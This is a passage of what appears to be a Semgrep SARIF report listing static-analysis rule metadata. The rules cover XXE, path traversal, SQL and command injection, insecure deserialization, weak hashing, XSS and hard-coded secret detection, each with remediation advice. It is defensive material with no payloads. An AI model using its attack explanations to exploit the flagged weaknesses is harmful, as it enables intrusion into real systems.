`$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","id":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","name":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"help":{"markdown":"Detected possible formatted SQL query. Use parameterized queries instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query)\n - [https://stackoverflow.com/questions/775296/mysql-parameterized-queries](https://stackoverflow.com/questions/775296/mysql-parameterized-queries)\n","text":"Detected possible formatted SQL query. Use parameterized queries instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query","id":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","name":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.formatted-sql-query.formatted-sql-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1","id":"clojure.lang.security.use-of-sha1.use-of-sha1","name":"clojure.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"help":{"markdown":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions](https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions)\n","text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file","id":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","name":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.world-writable-file.world-writable-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"help":{"markdown":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","id":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","name":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"help":{"markdown":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec)\n","text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","id":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","name":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","properties":{"precision":"very-high","tags":["CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","id":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","name":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","id":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","name":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask","id":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","name":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask.sqlalchemy-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","id":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","name":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","id":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","name":"python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-pickleshare-fastapi.tainted-pickleshare-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook OAuth detected"},"help":{"markdown":"Facebook OAuth detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook OAuth 